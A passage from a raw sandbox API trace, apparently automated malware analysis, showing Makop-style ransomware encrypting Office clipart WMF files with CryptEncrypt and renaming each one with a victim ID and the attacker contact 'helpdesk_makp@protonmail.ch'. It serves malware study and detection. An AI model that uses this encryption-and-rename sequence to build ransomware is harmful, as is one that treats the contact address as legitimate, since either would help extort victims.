nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.902] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.902] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.903] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa82, lpOverlapped=0x0) returned 1 [0110.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90, dwBufLen=0xa90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90) returned 1 [0110.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa90, lpOverlapped=0x0) returned 1 [0110.903] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.903] SetEndOfFile (hFile=0xf0) returned 1 [0110.910] GetProcessHeap () returned 0x48a0000 [0110.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.910] GetProcessHeap () returned 0x48a0000 [0110.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.910] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.912] CloseHandle (hObject=0xf0) returned 1 [0110.912] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0110.912] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0110.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.913] GetProcessHeap () returned 0x48a0000 [0110.913] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.913] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.914] GetProcessHeap () returned 0x48a0000 [0110.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.918] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.919] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.919] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.920] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb10, lpOverlapped=0x0) returned 1 [0110.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb10, dwBufLen=0xb10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb10) returned 1 [0110.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb10, lpOverlapped=0x0) returned 1 [0110.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.920] SetEndOfFile (hFile=0xf0) returned 1 [0110.927] GetProcessHeap () returned 0x48a0000 [0110.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.927] GetProcessHeap () returned 0x48a0000 [0110.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.927] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.930] CloseHandle (hObject=0xf0) returned 1 [0110.930] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0110.930] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0110.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.931] GetProcessHeap () returned 0x48a0000 [0110.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.931] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.936] GetProcessHeap () returned 0x48a0000 [0110.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.938] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9456, lpOverlapped=0x0) returned 1 [0110.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9460, dwBufLen=0x9460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9460) returned 1 [0110.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9460, lpOverlapped=0x0) returned 1 [0110.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.942] SetEndOfFile (hFile=0xf0) returned 1 [0110.950] GetProcessHeap () returned 0x48a0000 [0110.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.950] GetProcessHeap () returned 0x48a0000 [0110.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.950] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.952] CloseHandle (hObject=0xf0) returned 1 [0110.952] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0110.952] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0110.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.953] GetProcessHeap () returned 0x48a0000 [0110.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.953] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0110.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.957] GetProcessHeap () returned 0x48a0000 [0110.957] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.959] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9c5e, lpOverlapped=0x0) returned 1 [0110.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c60) returned 1 [0110.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c60, lpOverlapped=0x0) returned 1 [0110.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.963] SetEndOfFile (hFile=0xf0) returned 1 [0110.970] GetProcessHeap () returned 0x48a0000 [0110.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.970] GetProcessHeap () returned 0x48a0000 [0110.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.972] CloseHandle (hObject=0xf0) returned 1 [0110.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0110.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0110.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.985] GetProcessHeap () returned 0x48a0000 [0110.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.986] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.990] GetProcessHeap () returned 0x48a0000 [0110.990] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.990] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, 